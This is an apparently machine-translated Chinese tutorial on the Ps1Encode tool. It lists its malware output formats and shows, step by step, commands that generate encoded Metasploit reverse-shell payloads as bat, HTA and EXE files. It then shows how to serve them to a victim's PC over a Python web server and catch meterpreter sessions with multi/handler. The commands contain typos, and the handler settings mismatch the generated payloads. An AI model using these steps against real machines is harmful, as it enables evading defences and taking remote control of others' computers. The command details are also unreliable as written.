在本文中,我们将学习Ps1Encode工具以及如何通过生成不同文件格式(例如HTA,EXE等)的恶意软件来使用它。
介绍
Ps1Encode的工作代码由Piotr Marszalik ,Dev Kennedy和其他一些人开发。Ps1Encode用于生成恶意有效负载,以生成抄表程序会话。在生成有效负载时,它也会对其进行编码。这是绕过目标系统上的白名单和安全性的另一种方法。它是用ruby开发的,允许我们创建一系列基于Metasploit的有效载荷,但是可以按照我们期望的任何格式进行准备。最终目的是使PowerShell运行并通过它执行我们的有效负载。
Ps1Encode支持以下各种恶意软件格式:
- 原始(仅编码有效负载–无powershell运行选项)
- cmd(用于bat文件)
- vba(用于宏木马文档)
- vbs(用于vbs脚本)
- 战争(tomcat)
- exe(可执行文件)需要MinGW – x86_64-w64-mingw32-gcc [apt-get install mingw-w64]
- Java(用于恶意Java小程序)
- js(javascript)
- js-rd32(由rundll32.exe调用的javascript)
- php(用于php页面)
- hta(HTML应用程序)
- cfm(与Adobe ColdFusion一起使用)
- aspx(用于Microsoft ASP.NET)
- lnk(Windows快捷方式–需要Web服务器登台有效负载)
- sct(COM脚本–需要Web服务器暂存有效负载)
您可以使用git clone命令从此处下载Ps1Encode,如下图所示:
下载完成后,让我们使用help命令来检查我们必须使用的语法。为此,请使用以下命令集:
cd ps1encode/
ls
./ps1encode.rb -h
以下是我们可以使用的语法:
-i:定义本地主机IP
-p:定义本地主机端口值
-a:定义有效载荷值
-t:定义输出格式
现在,我们将使用以下命令生成一个恶意原始文件:
./ps1encode.rb -I 192.168.1.107 -p 8000 -a windows/meterpreter/reverse_https
将使用上述命令生成的代码复制到具有extension.bat的文件中。然后使用python服务器共享它。您可以使用以下命令启动服务器:
python -m SimpleHTTPServer 80
同时,启动多重处理程序以使用以下命令集进行会话:
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set lhost 192.168.1.107
lport 8000
exploit
一旦在受害人的PC中执行了文件,您将如上图所示进行会话。现在,我们将以HTA文件的形式生成恶意软件。使用以下命令生成HTA文件:
./ps1encode.rb -i 192.168.1.107 -p 4444 -a windows/meterpreter/reverese_tcp -t hta
由于上述命令,将创建以下脚本,与以前一样,使用python服务器将此文件发送到受害者的PC。
同时,启动多重处理程序以使用以下命令集进行会话:
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set lhost 192.168.1.107
set lport 8000
exploit
一旦在受害人的PC中执行了文件,您将如上图所示进行会话。现在,我们将尝试生成具有以下内容的EXE文件:
./ps1encode -i 192.168.1.107 -p 4444 -a windows/meterpreter/reverse_tcp -t exe
像上图所示之前一样,使用python服务器将此文件发送到受害者的PC。同时,启动多重处理程序以使用以下命令集进行会话:
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set lhost 192.168.1.107
set lport 8000
exploit
这样,您可以使用Ps1Encode生成任何格式的文件。如您所见,它非常简单方便,而且易于使用。Ps1Encode的可能性是无限的。